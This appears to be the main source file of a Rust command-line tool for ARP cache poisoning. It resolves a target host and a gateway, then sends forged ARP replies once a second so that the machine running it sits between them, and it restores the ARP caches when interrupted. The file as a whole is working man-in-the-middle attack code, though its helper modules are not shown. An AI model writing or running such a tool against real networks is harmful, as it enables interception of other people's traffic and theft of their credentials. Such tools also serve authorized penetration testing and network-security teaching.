extern crate pnet;
extern crate pnet_datalink;
extern crate clap;
extern crate indicatif;
extern crate console;
extern crate ctrlc;
extern crate atomic_enum;
extern crate anyhow;
use std::process;
use std::{thread, time};
use std::net::Ipv4Addr;
use std::sync::atomic::Ordering;
use pnet_datalink::NetworkInterface;
use atomic_enum::atomic_enum;
mod opts;
mod arp;
mod net;
mod logs;
#[link(name = "c")]
extern "C" {
fn getuid() -> u32;
}
#[atomic_enum]
#[derive(PartialEq)]
enum AttackState {
Stopped = 0,
CleanUp = 1,
Running = 2
}
static ATTACK_STATE: AtomicAttackState = AtomicAttackState::new(AttackState::Stopped);
fn resolve_arp_host(
iface: &NetworkInterface,
host_type: logs::resolution::HostType,
host_ip: Ipv4Addr
) -> arp::ArpHost {
logs::resolution::search(host_type, host_ip);
let gateway = arp::resolve_arp_host(iface, host_ip).unwrap();
logs::resolution::found(gateway);
gateway
}
fn run_arp_poisonning_attack(
iface: &NetworkInterface,
target: &arp::ArpHost,
gateway: &arp::ArpHost
) {
let local_mac = iface.mac.unwrap();
logs::poisoning::state(logs::poisoning::State::InProgress);
ATTACK_STATE.store(AttackState::Running, Ordering::Relaxed);
loop {
arp::send_arp_reply(
iface,
arp::ArpHost { ip: gateway.ip, mac: local_mac },
arp::ArpHost { ip: target.ip, mac: target.mac }
)
.unwrap()
.expect("Could not send ARP packet");
arp::send_arp_reply(
iface,
arp::ArpHost { ip: target.ip, mac: local_mac },
arp::ArpHost { ip: gateway.ip, mac: gateway.mac }
)
.unwrap()
.expect("Could not send ARP packet");
if ATTACK_STATE.load(Ordering::Relaxed) != AttackState::Running {
break;
}
thread::sleep(time::Duration::from_secs(1));
}
}
fn run_arp_cleanup(
iface: &NetworkInterface,
target: &arp::ArpHost,
gateway: &arp::ArpHost
) {
logs::poisoning::state(logs::poisoning::State::CleanUp);
for _ in 1..10 {
arp::send_arp_reply(
iface,
arp::ArpHost { ip: gateway.ip, mac: gateway.mac },
arp::ArpHost { ip: target.ip, mac: target.mac }
)
.unwrap()
.expect("Could not send ARP packet");
arp::send_arp_reply(
iface,
arp::ArpHost { ip: target.ip, mac: target.mac },
arp::ArpHost { ip: gateway.ip, mac: gateway.mac }
)
.unwrap()
.expect("Could not send ARP packet");
thread::sleep(time::Duration::from_millis(500));
}
}
fn main() {
unsafe {
if getuid() != 0 {
panic!("This tool requires root privileges");
}
}
ctrlc::set_handler(move || {
match ATTACK_STATE.load(Ordering::Relaxed) {
AttackState::Stopped => process::exit(1),
AttackState::Running => ATTACK_STATE.store(
AttackState::CleanUp,
Ordering::Relaxed
),
AttackState::CleanUp => process::exit(1)
}
}).expect("Error setting Ctrl-C handler");
let matches: clap::ArgMatches = opts::get_matches();
let interface_name: &String = matches
.get_one::<String>("interface")
.unwrap();
let target_ip: Ipv4Addr = matches
.get_one::<String>("target")
.unwrap()
.parse()
.expect("The target must be a valid IPv4 address");
let gateway_ip: Ipv4Addr = matches
.get_one::<String>("gateway")
.unwrap()
.parse()
.expect("The gateway must be a valid IPv4 address");
let iface = net::find_network_interface(interface_name).unwrap();
match net::get_ipv4_addr_of(&iface) {
Some(x) => if x == target_ip { panic!("Cannot use local ip as target ip"); },
None => panic!("Could not resolve local IPv4 address")
};
let target = resolve_arp_host(&iface, logs::resolution::HostType::Target, target_ip);
let gateway = resolve_arp_host(&iface, logs::resolution::HostType::Gateway, gateway_ip);
run_arp_poisonning_attack(&iface, &target, &gateway);
run_arp_cleanup(&iface, &target, &gateway);
logs::poisoning::state(logs::poisoning::State::Stopped);
}